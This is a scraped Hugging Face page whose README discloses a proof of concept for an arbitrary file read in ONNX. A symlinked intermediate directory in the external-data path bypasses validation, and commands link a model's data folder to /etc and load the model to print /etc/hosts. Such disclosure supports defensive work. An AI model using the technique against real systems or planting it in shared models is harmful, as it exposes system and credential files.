Downloads · 30 days
0
ReLrO/onnx-symlink-traversal-poc
onnx-symlink-traversal-poc is a machine learning model from ReLrO. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Arbitrary file read via intermediate symlink directory traversal bypassing external data path validation in ONNX (checker.cc:1016).
Downloads · 30 days
0
Access
Public
Updated Feb 27, 2026
Repo size
140 B
Likes
0
Public
Click a slice to open those files.
.py6 KB · 68%
From the Hugging Face model README
Arbitrary file read via intermediate symlink directory traversal bypassing external data path validation in ONNX (checker.cc:1016).
The is_symlink() check only tests the final path component, not intermediate directories. A symlinked directory in the external data path bypasses all validation.
model.onnx — Malicious ONNX model with external data pointing to data/hostspoc_onnx_symlink_traversal.py — Full PoC script (creates model + symlink + triggers read)# Step 1: Run the PoC script (creates model + symlink)
python3 poc_onnx_symlink_traversal.py /tmp/onnx_poc
# Step 2: Or manually reproduce:
mkdir /tmp/onnx_poc
cp model.onnx /tmp/onnx_poc/
ln -s /etc /tmp/onnx_poc/data
# Step 3: Trigger arbitrary file read
python3 -c "
import onnx
model = onnx.load('/tmp/onnx_poc/model.onnx')
print('Read from /etc/hosts:', model.graph.initializer[0].raw_data)
"
The symlink data -> /etc causes data/hosts to resolve to /etc/hosts, bypassing all path validation checks.
onnx 1.20.1 (latest release)